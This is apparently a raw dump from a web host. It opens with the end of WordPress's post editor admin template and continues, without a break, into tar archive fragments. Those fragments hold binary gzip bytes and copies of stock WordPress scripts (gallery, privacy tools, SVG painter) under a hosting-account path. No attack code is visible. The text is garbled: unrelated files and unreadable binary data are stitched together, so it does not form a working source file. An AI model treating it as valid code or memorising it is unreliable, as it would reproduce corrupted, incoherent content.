		__( '<strong>Publish</strong> &mdash; You can set the terms of publishing your post in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a post or making it stay at the top of your blog indefinitely (sticky). The Password protected option allows you to set an arbitrary password for each post. The Private option hides the post from everyone except editors and administrators. Publish (immediately) allows you to set a future or past date and time, so you can schedule a post to be published in the future or backdate a post.' ) .
	'</li>';

	if ( current_theme_supports( 'post-formats' ) && post_type_supports( 'post', 'post-formats' ) ) {
		$publish_box .= '<li>' . __( '<strong>Format</strong> &mdash; Post Formats designate how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Your theme could enable all or some of 10 possible formats. <a href="https://wordpress.org/documentation/article/post-formats/#supported-formats">Learn more about each post format</a>.' ) . '</li>';
	}

	if ( current_theme_supports( 'post-thumbnails' ) && post_type_supports( 'post', 'thumbnail' ) ) {
		$publish_box .= '<li>' . sprintf(
			/* translators: %s: Featured image. */
			__( '<strong>%s</strong> &mdash; This allows you to associate an image with your post without inserting it. This is usually useful only if your theme makes use of the image as a post thumbnail on the home page, a custom header, etc.' ),
			esc_html( $post_type_object->labels->featured_image )
		) . '</li>';
	}

	$publish_box .= '</ul>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'publish-box',
			'title'   => __( 'Publish Settings' ),
			'content' => $publish_box,
		)
	);

	$discussion_settings  = '<p>' . __( '<strong>Send Trackbacks</strong> &mdash; Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. Enter the URL(s) you want to send trackbacks. If you link to other WordPress sites they&#8217;ll be notified automatically using pingbacks, and this field is unnecessary.' ) . '</p>';
	$discussion_settings .= '<p>' . __( '<strong>Discussion</strong> &mdash; You can turn comments and pings on or off, and if there are comments on the post, you can see them here and moderate them.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'discussion-settings',
			'title'   => __( 'Discussion Settings' ),
			'content' => $discussion_settings,
		)
	);
} elseif ( 'page' === $post_type ) {
	$page_attributes = '<p>' . __( '<strong>Parent</strong> &mdash; You can arrange your pages in hierarchies. For example, you could have an &#8220;About&#8221; page that has &#8220;Life Story&#8221; and &#8220;My Dog&#8221; pages under it. There are no limits to how many levels you can nest pages.' ) . '</p>' .
		'<p>' . __( '<strong>Template</strong> &mdash; Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you&#8217;ll see them in this dropdown menu.' ) . '</p>' .
		'<p>' . __( '<strong>Order</strong> &mdash; Pages are usually ordered alphabetically, but you can choose your own order by entering a number (1 for first, etc.) in this field.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'page-attributes',
			'title'   => __( 'Page Attributes' ),
			'content' => $page_attributes,
		)
	);
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<?php
if ( isset( $post_new_file ) && current_user_can( $post_type_object->cap->create_posts ) ) {
	echo ' <a href="' . esc_url( admin_url( $post_new_file ) ) . '" class="page-title-action">' . esc_html( $post_type_object->labels->add_new ) . '</a>';
}
?>

<hr class="wp-header-end">

<?php
if ( $notice ) :
	wp_admin_notice(
		'<p id="has-newer-autosave">' . $notice . '</p>',
		array(
			'type'           => 'warning',
			'id'             => 'notice',
			'paragraph_wrap' => false,
		)
	);
endif;
if ( $message ) :
	wp_admin_notice(
		$message,
		array(
			'type'               => 'success',
			'dismissible'        => true,
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
		)
	);
endif;

$connection_lost_message = sprintf(
	'<span class="spinner"></span> %1$s <span class="hide-if-no-sessionstorage">%2$s</span>',
	__( '<strong>Connection lost.</strong> Saving has been disabled until you are reconnected.' ),
	__( 'This post is being backed up in your browser, just in case.' )
);

wp_admin_notice(
	$connection_lost_message,
	array(
		'id'                 => 'lost-connection-notice',
		'additional_classes' => array( 'error', 'hidden' ),
	)
);
?>
<form name="post" action="post.php" method="post" id="post"
<?php
/**
 * Fires inside the post editor form tag.
 *
 * @since 3.0.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'post_edit_form_tag', $post );

$referer = wp_get_referer();
?>
>
<?php wp_nonce_field( $nonce_action ); ?>
<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_ID; ?>" />
<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr( $form_action ); ?>" />
<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr( $form_action ); ?>" />
<input type="hidden" id="post_author" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" />
<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr( $post->post_status ); ?>" />
<input type="hidden" id="referredby" name="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />
<?php if ( ! empty( $active_post_lock ) ) { ?>
<input type="hidden" id="active_post_lock" value="<?php echo esc_attr( implode( ':', $active_post_lock ) ); ?>" />
	<?php
}
if ( 'draft' !== get_post_status( $post ) ) {
	wp_original_referer_field( true, 'previous' );
}

echo $form_extra;

wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
?>

<?php
/**
 * Fires at the beginning of the edit form.
 *
 * At this point, the required hidden fields and nonces have already been output.
 *
 * @since 3.7.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'edit_form_top', $post );
?>

<div id="poststuff">
<div id="post-body" class="metabox-holder columns-<?php echo ( 1 === get_current_screen()->get_columns() ) ? '1' : '2'; ?>">
<div id="post-body-content">

<?php if ( post_type_supports( $post_type, 'title' ) ) { ?>
<div id="titlediv">
<div id="titlewrap">
	<?php
	/**
	 * Filters the title field placeholder text.
	 *
	 * @since 3.1.0
	 *
	 * @param string  $text Placeholder text. Default 'Add title'.
	 * @param WP_Post $post Post object.
	 */
	$title_placeholder = apply_filters( 'enter_title_here', __( 'Add title' ), $post );
	?>
	<label class="screen-reader-text" id="title-prompt-text" for="title"><?php echo $title_placeholder; ?></label>
	<input type="text" name="post_title" size="30" value="<?php echo esc_attr( $post->post_title ); ?>" id="title" spellcheck="true" autocomplete="off" />
</div>
	<?php
	/**
	 * Fires before the permalink field in the edit form.
	 *
	 * @since 4.1.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'edit_form_before_permalink', $post );
	?>
<div class="inside">
	<?php
	if ( $viewable ) :
		$sample_permalink_html = $post_type_object->public ? get_sample_permalink_html( $post->ID ) : '';

		// As of 4.4, the Get Shortlink button is hidden by default.
		if ( has_filter( 'pre_get_shortlink' ) || has_filter( 'get_shortlink' ) ) {
			$shortlink = wp_get_shortlink( $post->ID, 'post' );

			if ( ! empty( $shortlink ) && $shortlink !== $permalink && home_url( '?page_id=' . $post->ID ) !== $permalink ) {
				$sample_permalink_html .= '<input id="shortlink" type="hidden" value="' . esc_attr( $shortlink ) . '" />' .
					'<button type="button" class="button button-small" onclick="prompt(&#39;URL:&#39;, jQuery(\'#shortlink\').val());">' .
					__( 'Get Shortlink' ) .
					'</button>';
			}
		}

		if ( $post_type_object->public
			&& ! ( 'pending' === get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) )
		) {
			$has_sample_permalink = $sample_permalink_html && 'auto-draft' !== $post->post_status;
			?>
	<div id="edit-slug-box" class="hide-if-no-js">
			<?php
			if ( $has_sample_permalink ) {
				echo $sample_permalink_html;
			}
			?>
	</div>
			<?php
		}
endif;
	?>
</div>
	<?php
	wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );
	?>
</div><!-- /titlediv -->
	<?php
}
/**
 * Fires after the title field.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'edit_form_after_title', $post );

if ( post_type_supports( $post_type, 'editor' ) ) {
	$_wp_editor_expand_class = '';
	if ( $_wp_editor_expand ) {
		$_wp_editor_expand_class = ' wp-editor-expand';
	}
	?>
<div id="postdivrich" class="postarea<?php echo $_wp_editor_expand_class; ?>">

	<?php
	wp_editor(
		$post->post_content,
		'content',
		array(
			'_content_editor_dfw' => $_content_editor_dfw,
			'drag_drop_upload'    => true,
			'tabfocus_elements'   => 'content-html,save-post',
			'editor_height'       => 300,
			'tinymce'             => array(
				'resize'                  => false,
				'wp_autoresize_on'        => $_wp_editor_expand,
				'add_unload_trigger'      => false,
				'wp_keep_scroll_position' => ! $is_IE,
			),
		)
	);
	?>
<table id="post-status-info"><tbody><tr>
	<td id="wp-word-count" class="hide-if-no-js">
	<?php
	printf(
		/* translators: %s: Number of words. */
		__( 'Word count: %s' ),
		'<span class="word-count">0</span>'
	);
	?>
	</td>
	<td class="autosave-info">
	<span class="autosave-message">&nbsp;</span>
	<?php
	if ( 'auto-draft' !== $post->post_status ) {
		echo '<span id="last-edit">';
		$last_user = get_userdata( get_post_meta( $post->ID, '_edit_last', true ) );
		if ( $last_user ) {
			/* translators: 1: Name of most recent post author, 2: Post edited date, 3: Post edited time. */
			printf( __( 'Last edited by %1$s on %2$s at %3$s' ), esc_html( $last_user->display_name ), mysql2date( __( 'F j, Y' ), $post->post_modified ), mysql2date( __( 'g:i a' ), $post->post_modified ) );
		} else {
			/* translators: 1: Post edited date, 2: Post edited time. */
			printf( __( 'Last edited on %1$s at %2$s' ), mysql2date( __( 'F j, Y' ), $post->post_modified ), mysql2date( __( 'g:i a' ), $post->post_modified ) );
		}
		echo '</span>';
	}
	?>
	</td>
	<td id="content-resize-handle" class="hide-if-no-js"><br /></td>
</tr></tbody></table>

</div>
	<?php
}
/**
 * Fires after the content editor.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'edit_form_after_editor', $post );
?>
</div><!-- /post-body-content -->

<div id="postbox-container-1" class="postbox-container">
<?php

if ( 'page' === $post_type ) {
	/**
	 * Fires before meta boxes with 'side' context are output for the 'page' post type.
	 *
	 * The submitpage box is a meta box with 'side' context, so this hook fires just before it is output.
	 *
	 * @since 2.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'submitpage_box', $post );
} else {
	/**
	 * Fires before meta boxes with 'side' context are output for all post types other than 'page'.
	 *
	 * The submitpost box is a meta box with 'side' context, so this hook fires just before it is output.
	 *
	 * @since 2.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'submitpost_box', $post );
}


do_meta_boxes( $post_type, 'side', $post );

?>
</div>
<div id="postbox-container-2" class="postbox-container">
<?php

do_meta_boxes( null, 'normal', $post );

if ( 'page' === $post_type ) {
	/**
	 * Fires after 'normal' context meta boxes have been output for the 'page' post type.
	 *
	 * @since 1.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'edit_page_form', $post );
} else {
	/**
	 * Fires after 'normal' context meta boxes have been output for all post types other than 'page'.
	 *
	 * @since 1.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'edit_form_advanced', $post );
}


do_meta_boxes( null, 'advanced', $post );

?>
</div>
<?php
/**
 * Fires after all meta box sections have been output, before the closing #post-body div.
 *
 * @since 2.1.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'dbx_post_sidebar', $post );

?>
</div><!-- /post-body -->
<br class="clear" />
</div><!-- /poststuff -->
</form>
</div>

<?php
if ( post_type_supports( $post_type, 'comments' ) ) {
	wp_comment_reply();
}
?>

<?php if ( ! wp_is_mobile() && post_type_supports( $post_type, 'title' ) && '' === $post->post_title ) : ?>
<script type="text/javascript">
try{document.post.title.focus();}catch(e){}
</script>
<?php endif; ?>
language-chooser.js.js.tar.gz000064400000001055150276633110012151 0ustar00��Tm��0����X�/�I��8�����n�6.�]l�J����`���`$$��H�#%�i0Ӓi�Yaёt�[,��4�~7�e�t�uY-���
N���6ݺ��lʶ���g�-����4_���|��?�.�Lo��;�L�r�Q�Z6	�W�i�	�0oN̈́�~�hX{]�2z��O�E�$�
�0�b��VjWːd��&�=���[�\e� ���hоB
�����R�
GO
���Wi�a�<Co�ϧx�c�8�jԛ��T����Pk����2偝i%ݷ��v]+�aT��~G!�R�j�Aˇ֦�.�0�/*���"V`�&�#���:JX�����TT����WF���$�Ee>���*�cݒ \�3����K�J]Z-���S#Q�N�4`
�ƨ=>v0i)I�myI��O��rX$GF
��E�ls��-�V�^–t;|���1cI�ˠ�
ϛ�1�tS��ꉊ�_���kg�p�T��Z�sRG���k(.�ڼ*�V�Vt`�[��[rl9��{�w���w�J��(
gallery.min.js.tar000064400000013000150276633110010106 0ustar00home/natitnen/crestassured.com/wp-admin/js/gallery.min.js000064400000007235150261344720017522 0ustar00/*! This file is auto-generated */
jQuery(function(n){var o=!1,e=function(){n("#media-items").sortable({items:"div.media-item",placeholder:"sorthelper",axis:"y",distance:2,handle:"div.filename",stop:function(){var e=n("#media-items").sortable("toArray"),i=e.length;n.each(e,function(e,t){e=o?i-e:1+e;n("#"+t+" .menu_order input").val(e)})}})},t=function(){var e=n(".menu_order_input"),t=e.length;e.each(function(e){e=o?t-e:1+e;n(this).val(e)})},i=function(e){e=e||0,n(".menu_order_input").each(function(){"0"!==this.value&&!e||(this.value="")})};n("#asc").on("click",function(e){e.preventDefault(),o=!1,t()}),n("#desc").on("click",function(e){e.preventDefault(),o=!0,t()}),n("#clear").on("click",function(e){e.preventDefault(),i(1)}),n("#showall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").hide(),n("a.describe-toggle-off, table.slidetoggle").show(),n("img.pinkynail").toggle(!1)}),n("#hideall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").show(),n("a.describe-toggle-off, table.slidetoggle").hide(),n("img.pinkynail").toggle(!0)}),e(),i(),1<n("#media-items>*").length&&(e=wpgallery.getWin(),n("#save-all, #gallery-settings").show(),void 0!==e.tinyMCE&&e.tinyMCE.activeEditor&&!e.tinyMCE.activeEditor.isHidden()?(wpgallery.mcemode=!0,wpgallery.init()):n("#insert-gallery").show())}),window.tinymce=null,window.wpgallery={mcemode:!1,editor:{},dom:{},is_update:!1,el:{},I:function(e){return document.getElementById(e)},init:function(){var e,t,i,n,o=this,l=o.getWin();if(o.mcemode){for(e=(""+document.location.search).replace(/^\?/,"").split("&"),t={},i=0;i<e.length;i++)n=e[i].split("="),t[unescape(n[0])]=unescape(n[1]);t.mce_rdomain&&(document.domain=t.mce_rdomain),window.tinymce=l.tinymce,window.tinyMCE=l.tinyMCE,o.editor=tinymce.EditorManager.activeEditor,o.setup()}},getWin:function(){return window.dialogArguments||opener||parent||top},setup:function(){var e,t,i,n=this,o=n.editor;if(n.mcemode){if(n.el=o.selection.getNode(),"IMG"!==n.el.nodeName||!o.dom.hasClass(n.el,"wpGallery")){if(!(i=o.dom.select("img.wpGallery"))||!i[0])return"1"===getUserSetting("galfile")&&(n.I("linkto-file").checked="checked"),"1"===getUserSetting("galdesc")&&(n.I("order-desc").checked="checked"),getUserSetting("galcols")&&(n.I("columns").value=getUserSetting("galcols")),getUserSetting("galord")&&(n.I("orderby").value=getUserSetting("galord")),void jQuery("#insert-gallery").show();n.el=i[0]}i=o.dom.getAttrib(n.el,"title"),(i=o.dom.decode(i))?(jQuery("#update-gallery").show(),n.is_update=!0,o=i.match(/columns=['"]([0-9]+)['"]/),e=i.match(/link=['"]([^'"]+)['"]/i),t=i.match(/order=['"]([^'"]+)['"]/i),i=i.match(/orderby=['"]([^'"]+)['"]/i),e&&e[1]&&(n.I("linkto-file").checked="checked"),t&&t[1]&&(n.I("order-desc").checked="checked"),o&&o[1]&&(n.I("columns").value=""+o[1]),i&&i[1]&&(n.I("orderby").value=i[1])):jQuery("#insert-gallery").show()}},update:function(){var e=this,t=e.editor,i="";e.mcemode&&e.is_update?"IMG"===e.el.nodeName&&(i=(i=t.dom.decode(t.dom.getAttrib(e.el,"title"))).replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi,""),i+=e.getSettings(),t.dom.setAttrib(e.el,"title",i),e.getWin().tb_remove()):(t="[gallery"+e.getSettings()+"]",e.getWin().send_to_editor(t))},getSettings:function(){var e=this.I,t="";return e("linkto-file").checked&&(t+=' link="file"',setUserSetting("galfile","1")),e("order-desc").checked&&(t+=' order="DESC"',setUserSetting("galdesc","1")),3!==e("columns").value&&(t+=' columns="'+e("columns").value+'"',setUserSetting("galcols",e("columns").value)),"menu_order"!==e("orderby").value&&(t+=' orderby="'+e("orderby").value+'"',setUserSetting("galord",e("orderby").value)),t}};privacy-tools.js000064400000025236150276633110007731 0ustar00/**
 * Interactions used by the User Privacy tools in WordPress.
 *
 * @output wp-admin/js/privacy-tools.js
 */

// Privacy request action handling.
jQuery( function( $ ) {
	var __ = wp.i18n.__,
		copiedNoticeTimeout;

	function setActionState( $action, state ) {
		$action.children().addClass( 'hidden' );
		$action.children( '.' + state ).removeClass( 'hidden' );
	}

	function clearResultsAfterRow( $requestRow ) {
		$requestRow.removeClass( 'has-request-results' );

		if ( $requestRow.next().hasClass( 'request-results' ) ) {
			$requestRow.next().remove();
		}
	}

	function appendResultsAfterRow( $requestRow, classes, summaryMessage, additionalMessages ) {
		var itemList = '',
			resultRowClasses = 'request-results';

		clearResultsAfterRow( $requestRow );

		if ( additionalMessages.length ) {
			$.each( additionalMessages, function( index, value ) {
				itemList = itemList + '<li>' + value + '</li>';
			});
			itemList = '<ul>' + itemList + '</ul>';
		}

		$requestRow.addClass( 'has-request-results' );

		if ( $requestRow.hasClass( 'status-request-confirmed' ) ) {
			resultRowClasses = resultRowClasses + ' status-request-confirmed';
		}

		if ( $requestRow.hasClass( 'status-request-failed' ) ) {
			resultRowClasses = resultRowClasses + ' status-request-failed';
		}

		$requestRow.after( function() {
			return '<tr class="' + resultRowClasses + '"><th colspan="5">' +
				'<div class="notice inline notice-alt ' + classes + '">' +
				'<p>' + summaryMessage + '</p>' +
				itemList +
				'</div>' +
				'</td>' +
				'</tr>';
		});
	}

	$( '.export-personal-data-handle' ).on( 'click', function( event ) {
		var $this          = $( this ),
			$action        = $this.parents( '.export-personal-data' ),
			$requestRow    = $this.parents( 'tr' ),
			$progress      = $requestRow.find( '.export-progress' ),
			$rowActions    = $this.parents( '.row-actions' ),
			requestID      = $action.data( 'request-id' ),
			nonce          = $action.data( 'nonce' ),
			exportersCount = $action.data( 'exporters-count' ),
			sendAsEmail    = $action.data( 'send-as-email' ) ? true : false;

		event.preventDefault();
		event.stopPropagation();

		$rowActions.addClass( 'processing' );

		$action.trigger( 'blur' );
		clearResultsAfterRow( $requestRow );
		setExportProgress( 0 );

		function onExportDoneSuccess( zipUrl ) {
			var summaryMessage = __( 'This user&#8217;s personal data export link was sent.' );

			if ( 'undefined' !== typeof zipUrl ) {
				summaryMessage = __( 'This user&#8217;s personal data export file was downloaded.' );
			}

			setActionState( $action, 'export-personal-data-success' );

			appendResultsAfterRow( $requestRow, 'notice-success', summaryMessage, [] );

			if ( 'undefined' !== typeof zipUrl ) {
				window.location = zipUrl;
			} else if ( ! sendAsEmail ) {
				onExportFailure( __( 'No personal data export file was generated.' ) );
			}

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function onExportFailure( errorMessage ) {
			var summaryMessage = __( 'An error occurred while attempting to export personal data.' );

			setActionState( $action, 'export-personal-data-failed' );

			if ( errorMessage ) {
				appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [ errorMessage ] );
			}

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function setExportProgress( exporterIndex ) {
			var progress       = ( exportersCount > 0 ? exporterIndex / exportersCount : 0 ),
				progressString = Math.round( progress * 100 ).toString() + '%';

			$progress.html( progressString );
		}

		function doNextExport( exporterIndex, pageIndex ) {
			$.ajax(
				{
					url: window.ajaxurl,
					data: {
						action: 'wp-privacy-export-personal-data',
						exporter: exporterIndex,
						id: requestID,
						page: pageIndex,
						security: nonce,
						sendAsEmail: sendAsEmail
					},
					method: 'post'
				}
			).done( function( response ) {
				var responseData = response.data;

				if ( ! response.success ) {
					// e.g. invalid request ID.
					setTimeout( function() { onExportFailure( response.data ); }, 500 );
					return;
				}

				if ( ! responseData.done ) {
					setTimeout( doNextExport( exporterIndex, pageIndex + 1 ) );
				} else {
					setExportProgress( exporterIndex );
					if ( exporterIndex < exportersCount ) {
						setTimeout( doNextExport( exporterIndex + 1, 1 ) );
					} else {
						setTimeout( function() { onExportDoneSuccess( responseData.url ); }, 500 );
					}
				}
			}).fail( function( jqxhr, textStatus, error ) {
				// e.g. Nonce failure.
				setTimeout( function() { onExportFailure( error ); }, 500 );
			});
		}

		// And now, let's begin.
		setActionState( $action, 'export-personal-data-processing' );
		doNextExport( 1, 1 );
	});

	$( '.remove-personal-data-handle' ).on( 'click', function( event ) {
		var $this         = $( this ),
			$action       = $this.parents( '.remove-personal-data' ),
			$requestRow   = $this.parents( 'tr' ),
			$progress     = $requestRow.find( '.erasure-progress' ),
			$rowActions   = $this.parents( '.row-actions' ),
			requestID     = $action.data( 'request-id' ),
			nonce         = $action.data( 'nonce' ),
			erasersCount  = $action.data( 'erasers-count' ),
			hasRemoved    = false,
			hasRetained   = false,
			messages      = [];

		event.preventDefault();
		event.stopPropagation();

		$rowActions.addClass( 'processing' );

		$action.trigger( 'blur' );
		clearResultsAfterRow( $requestRow );
		setErasureProgress( 0 );

		function onErasureDoneSuccess() {
			var summaryMessage = __( 'No personal data was found for this user.' ),
				classes = 'notice-success';

			setActionState( $action, 'remove-personal-data-success' );

			if ( false === hasRemoved ) {
				if ( false === hasRetained ) {
					summaryMessage = __( 'No personal data was found for this user.' );
				} else {
					summaryMessage = __( 'Personal data was found for this user but was not erased.' );
					classes = 'notice-warning';
				}
			} else {
				if ( false === hasRetained ) {
					summaryMessage = __( 'All of the personal data found for this user was erased.' );
				} else {
					summaryMessage = __( 'Personal data was found for this user but some of the personal data found was not erased.' );
					classes = 'notice-warning';
				}
			}
			appendResultsAfterRow( $requestRow, classes, summaryMessage, messages );

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function onErasureFailure() {
			var summaryMessage = __( 'An error occurred while attempting to find and erase personal data.' );

			setActionState( $action, 'remove-personal-data-failed' );

			appendResultsAfterRow( $requestRow, 'notice-error', summaryMessage, [] );

			setTimeout( function() { $rowActions.removeClass( 'processing' ); }, 500 );
		}

		function setErasureProgress( eraserIndex ) {
			var progress       = ( erasersCount > 0 ? eraserIndex / erasersCount : 0 ),
				progressString = Math.round( progress * 100 ).toString() + '%';

			$progress.html( progressString );
		}

		function doNextErasure( eraserIndex, pageIndex ) {
			$.ajax({
				url: window.ajaxurl,
				data: {
					action: 'wp-privacy-erase-personal-data',
					eraser: eraserIndex,
					id: requestID,
					page: pageIndex,
					security: nonce
				},
				method: 'post'
			}).done( function( response ) {
				var responseData = response.data;

				if ( ! response.success ) {
					setTimeout( function() { onErasureFailure(); }, 500 );
					return;
				}
				if ( responseData.items_removed ) {
					hasRemoved = hasRemoved || responseData.items_removed;
				}
				if ( responseData.items_retained ) {
					hasRetained = hasRetained || responseData.items_retained;
				}
				if ( responseData.messages ) {
					messages = messages.concat( responseData.messages );
				}
				if ( ! responseData.done ) {
					setTimeout( doNextErasure( eraserIndex, pageIndex + 1 ) );
				} else {
					setErasureProgress( eraserIndex );
					if ( eraserIndex < erasersCount ) {
						setTimeout( doNextErasure( eraserIndex + 1, 1 ) );
					} else {
						setTimeout( function() { onErasureDoneSuccess(); }, 500 );
					}
				}
			}).fail( function() {
				setTimeout( function() { onErasureFailure(); }, 500 );
			});
		}

		// And now, let's begin.
		setActionState( $action, 'remove-personal-data-processing' );

		doNextErasure( 1, 1 );
	});

	// Privacy Policy page, copy action.
	$( document ).on( 'click', function( event ) {
		var $parent,
			range,
			$target = $( event.target ),
			copiedNotice = $target.siblings( '.success' );

		clearTimeout( copiedNoticeTimeout );

		if ( $target.is( 'button.privacy-text-copy' ) ) {
			$parent = $target.closest( '.privacy-settings-accordion-panel' );

			if ( $parent.length ) {
				try {
					var documentPosition = document.documentElement.scrollTop,
						bodyPosition     = document.body.scrollTop;

					// Setup copy.
					window.getSelection().removeAllRanges();

					// Hide tutorial content to remove from copied content.
					range = document.createRange();
					$parent.addClass( 'hide-privacy-policy-tutorial' );

					// Copy action.
					range.selectNodeContents( $parent[0] );
					window.getSelection().addRange( range );
					document.execCommand( 'copy' );

					// Reset section.
					$parent.removeClass( 'hide-privacy-policy-tutorial' );
					window.getSelection().removeAllRanges();

					// Return scroll position - see #49540.
					if ( documentPosition > 0 && documentPosition !== document.documentElement.scrollTop ) {
						document.documentElement.scrollTop = documentPosition;
					} else if ( bodyPosition > 0 && bodyPosition !== document.body.scrollTop ) {
						document.body.scrollTop = bodyPosition;
					}

					// Display and speak notice to indicate action complete.
					copiedNotice.addClass( 'visible' );
					wp.a11y.speak( __( 'The suggested policy text has been copied to your clipboard.' ) );

					// Delay notice dismissal.
					copiedNoticeTimeout = setTimeout( function() {
						copiedNotice.removeClass( 'visible' );
					}, 3000 );
				} catch ( er ) {}
			}
		}
	});

	// Label handling to focus the create page button on Privacy settings page.
	$( 'body.options-privacy-php label[for=create-page]' ).on( 'click', function( e ) {
		e.preventDefault();
		$( 'input#create-page' ).trigger( 'focus' );
	} );

	// Accordion handling in various new Privacy settings pages.
	$( '.privacy-settings-accordion' ).on( 'click', '.privacy-settings-accordion-trigger', function() {
		var isExpanded = ( 'true' === $( this ).attr( 'aria-expanded' ) );

		if ( isExpanded ) {
			$( this ).attr( 'aria-expanded', 'false' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', true );
		} else {
			$( this ).attr( 'aria-expanded', 'true' );
			$( '#' + $( this ).attr( 'aria-controls' ) ).attr( 'hidden', false );
		}
	} );
});
svg-painter.min.js000064400000004524150276633110010134 0ustar00/*! This file is auto-generated */
window.wp=window.wp||{},wp.svgPainter=function(e,i,n){"use strict";var t,o,a,m,r,s,c,u,l,f={},g=[];function p(){for(;l<256;)m=String.fromCharCode(l),s+=m,u[l]=l,c[l]=r.indexOf(m),++l}function d(n,t,e,a,i,o){for(var r,s=0,c=0,u="",l=0,f=(n=String(n)).length;c<f;){for(s=(s<<i)+(m=(m=n.charCodeAt(c))<256?e[m]:-1),l+=i;o<=l;)l-=o,u+=a.charAt(r=s>>l),s^=r<<l;++c}return!t&&0<l&&(u+=a.charAt(s<<o-l)),u}return e(function(){n.implementation.hasFeature("http://www.w3.org/TR/SVG11/feature#Image","1.1")&&(e(n.body).removeClass("no-svg").addClass("svg"),wp.svgPainter.init())}),r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",s="",c=[256],u=[256],l=0,o={atob:function(n){var t;for(m||p(),n=n.replace(/[^A-Za-z0-9\+\/\=]/g,""),t=(n=String(n).split("=")).length;n[--t]=d(n[t],!0,c,s,6,8),0<t;);return n=n.join("")},btoa:function(n){return m||p(),(n=d(n,!1,u,r,8,6))+"====".slice(n.length%4||4)}},{init:function(){a=this,t=e("#adminmenu .wp-menu-image, #wpadminbar .ab-item"),this.setColors(),this.findElements(),this.paint()},setColors:function(n){(n=void 0===n&&void 0!==i._wpColorScheme?i._wpColorScheme:n)&&n.icons&&n.icons.base&&n.icons.current&&n.icons.focus&&(f=n.icons)},findElements:function(){t.each(function(){var n=e(this),t=n.css("background-image");t&&-1!=t.indexOf("data:image/svg+xml;base64")&&g.push(n)})},paint:function(){e.each(g,function(n,t){var e=t.parent().parent();e.hasClass("current")||e.hasClass("wp-has-current-submenu")?a.paintElement(t,"current"):(a.paintElement(t,"base"),e.on("mouseenter",function(){a.paintElement(t,"focus")}).on("mouseleave",function(){i.setTimeout(function(){a.paintElement(t,"base")},100)}))})},paintElement:function(n,t){var e,a;if(t&&f.hasOwnProperty(t)&&(t=f[t]).match(/^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i)&&"none"!==(e=n.data("wp-ui-svg-"+t))){if(!e){if(!(a=n.css("background-image").match(/.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/))||!a[1])return void n.data("wp-ui-svg-"+t,"none");try{e=("atob"in i?i:o).atob(a[1])}catch(n){}if(!e)return void n.data("wp-ui-svg-"+t,"none");e=(e=(e=e.replace(/fill="(.+?)"/g,'fill="'+t+'"')).replace(/style="(.+?)"/g,'style="fill:'+t+'"')).replace(/fill:.*?;/g,"fill: "+t+";"),e=("btoa"in i?i:o).btoa(e),n.data("wp-ui-svg-"+t,e)}n.attr("style",'background-image: url("data:image/svg+xml;base64,'+e+'") !important;')}}}}(jQuery,window,document);accordion.js.js.tar.gz000064400000002257150276633110010674 0ustar00��V[O�F�W�W���&A`sG*-b�RU�UwY����Ğ�Ɍ�'!�{�3���@K�Je�P||��;�8���7�$i)��U����N�Y�-��2ɍKD��2S��7��K����Z9����ޛ�Ý��݃�ýc�w���h�EQ��Pp���D���I67{�I�l��Vg�\Ӹ2��@h��1tX�GQ�V͔���DQ��(��R
�H��Z��*o'V*��S��L�-v����d�@���C
O���H��Ґ�O^KR�UzP��/N��HU�[N꼜/���xUR�Wd�����M�����mtZ۩5^(#ˍs(E��\�E����zۡ����$�o��sr�Ʒ�(��,~=g���y�o��~�����2�%�zq��9��r2�"�H[F���=���pU� �݇�N�T�~|�g[����mB'��r
�-
�z���BF�!�(J���&K.tQ�H7�pX�z7bX�K?^�>
c��t+癝��֒��4�n��$�(�"5&<�~^H:;;�~�޽��}�2�r��lB�`��B�
